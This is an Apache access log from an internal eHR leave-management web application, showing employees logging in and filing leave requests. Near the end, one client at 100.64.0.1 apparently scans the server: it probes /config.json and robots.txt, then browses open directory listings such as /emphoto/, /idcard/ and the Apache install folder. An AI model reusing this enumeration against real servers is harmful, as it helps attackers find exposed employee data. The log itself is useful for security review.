192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.12.66 - - [03/Sep/2025:11:03:51 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.127 - - [03/Sep/2025:11:04:03 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:11:04:03 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [03/Sep/2025:11:04:09 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:04:09 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.12.66 - - [03/Sep/2025:11:04:10 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.12.66 - - [03/Sep/2025:11:04:10 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.127 - - [03/Sep/2025:11:04:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:11:04:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:11:04:12 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.127 - - [03/Sep/2025:11:04:12 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:11:04:13 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.127 - - [03/Sep/2025:11:04:13 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.66 - - [03/Sep/2025:11:04:10 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:04:10 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:11:04:15 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:11:04:15 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.66 - - [03/Sep/2025:11:04:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.66 - - [03/Sep/2025:11:04:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.127 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.127 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.127 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9890
192.168.12.66 - - [03/Sep/2025:11:04:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9890 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.127 - - [03/Sep/2025:11:04:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20623 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:11:04:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20623
192.168.11.127 - - [03/Sep/2025:11:04:49 +0800] "GET /eHR/js/date.js HTTP/1.1" 200 12630
192.168.11.127 - - [03/Sep/2025:11:04:49 +0800] "GET /eHR/js/date.js HTTP/1.1" 200 12630 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:11:04:49 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242
192.168.11.127 - - [03/Sep/2025:11:04:49 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:11:04:49 +0800] "GET /eHR/img/lov.png HTTP/1.1" 200 788
192.168.11.127 - - [03/Sep/2025:11:04:49 +0800] "GET /eHR/img/lov.png HTTP/1.1" 200 788 "http://hcp.maglayers.com.cn:8088/eHR/css/default.css?m=20130917" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:11:04:49 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 200 3568
192.168.11.127 - - [03/Sep/2025:11:04:49 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 200 3568 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:11:05:12 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:11:05:12 +0800] "GET / HTTP/1.1" 200 439
192.168.11.127 - - [03/Sep/2025:11:05:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:11:05:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2
192.168.11.127 - - [03/Sep/2025:11:05:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:11:05:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.127 - - [03/Sep/2025:11:05:50 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D116439%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:11:05:50 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D116439%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276
192.168.11.127 - - [03/Sep/2025:11:05:51 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084
192.168.11.127 - - [03/Sep/2025:11:05:51 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D116439%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:11:05:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6351
192.168.11.127 - - [03/Sep/2025:11:05:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6351 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:11:06:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 30115 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:11:06:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 30115
192.168.11.127 - - [03/Sep/2025:11:06:02 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230
192.168.11.127 - - [03/Sep/2025:11:06:02 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [03/Sep/2025:11:06:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 30115
192.168.11.127 - - [03/Sep/2025:11:06:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 30115 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:11:08:14 +0800] "\x16\x03\x01\x014\x01" 501 208
100.64.0.1 - - [03/Sep/2025:11:08:14 +0800] "\x16\x03\x01\x014\x01" 501 208 "-" "-"
100.64.0.1 - - [03/Sep/2025:11:08:14 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:11:08:14 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
100.64.0.1 - - [03/Sep/2025:11:08:19 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [03/Sep/2025:11:08:19 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:08:20 +0800] "GET /robots.txt HTTP/1.1" 404 208
100.64.0.1 - - [03/Sep/2025:11:08:20 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:08:20 +0800] "GET /sitemap.xml HTTP/1.1" 404 209
100.64.0.1 - - [03/Sep/2025:11:08:20 +0800] "GET /sitemap.xml HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:08:21 +0800] "GET /config.json HTTP/1.1" 404 209
100.64.0.1 - - [03/Sep/2025:11:08:21 +0800] "GET /config.json HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:08:21 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:11:08:21 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:08:22 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478
100.64.0.1 - - [03/Sep/2025:11:08:22 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:08:22 +0800] "GET /eHR/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:11:08:22 +0800] "GET /eHR/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:08:23 +0800] "GET /eHR1/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:11:08:23 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:08:23 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:11:08:23 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:08:23 +0800] "GET /idcard/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:11:08:23 +0800] "GET /idcard/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:08:24 +0800] "GET /Apache2.2/ HTTP/1.1" 404 208
100.64.0.1 - - [03/Sep/2025:11:08:24 +0800] "GET /Apache2.2/ HTTP/1.1" 404 208 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:08:25 +0800] "GET /emphoto/ HTTP/1.1" 200 25014
100.64.0.1 - - [03/Sep/2025:11:08:25 +0800] "GET /emphoto/ HTTP/1.1" 200 25014 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:08:26 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:11:08:26 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:08:26 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478
100.64.0.1 - - [03/Sep/2025:11:08:26 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:08:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125
100.64.0.1 - - [03/Sep/2025:11:08:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
